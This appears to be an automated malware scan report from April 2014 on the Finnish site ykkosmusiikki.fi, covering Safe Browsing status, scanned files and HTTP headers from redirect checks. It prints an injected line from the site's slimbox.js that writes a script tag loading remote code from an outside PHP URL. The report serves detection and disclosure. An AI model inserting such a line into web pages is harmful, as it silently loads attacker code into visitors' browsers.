Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=ykkosmusiikki.fi
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://ykkosmusiikki.fi/ | 200 OK Content-Length: 6156 Content-Type: text/html | clean |
http://ykkosmusiikki.fi/slimbox/js/slimbox.js | 200 OK Content-Length: 4711 Content-Type: application/javascript | suspicious |
Suspicious code found document.write('<script type="text/javascript" src="http://kashifblog.com/cgi-bin/zjDQx37Z.php?id=48261816"></script>'); | ||
http://ivan.latetaymas.com/BKpCjJhQ.php?id=48261765 | HTTP/1.1 301 Moved Permanently Connection: close Date: Tue, 01 Apr 2014 20:51:10 GMT Location: http://www.latetaymas.com/BKpCjJhQ.php?id=48261765 Server: Apache Content-Length: 258 Content-Type: text/html; charset=iso-8859-1 | clean |
http://www.latetaymas.com/bkpcjjhq.php?id=48261765 | 404 Not Found Content-Length: 210 Content-Type: text/html | clean |
http://www.latetaymas.com/test404page.js | 404 Not Found Content-Length: 212 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: ykkosmusiikki.fi
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 01 Apr 2014 20:51:09 GMT
Pragma: no-cache
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.6 Perl/v5.10.1
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=3c060521dfaa29fa3d4fc800b5c40273; path=/
X-Powered-By: PHP/5.2.17
GET / HTTP/1.1
Host: ykkosmusiikki.fi
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 01 Apr 2014 20:51:09 GMT
Pragma: no-cache
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.6 Perl/v5.10.1
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=3c060521dfaa29fa3d4fc800b5c40273; path=/
X-Powered-By: PHP/5.2.17
Second query (visit from search engine):
GET / HTTP/1.1
Host: ykkosmusiikki.fi
Referer: http://www.google.com/search?q=ykkosmusiikki.fi
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: ykkosmusiikki.fi
Referer: http://www.google.com/search?q=ykkosmusiikki.fi
Result:
The result is similar to the first query. There are no suspicious redirects found.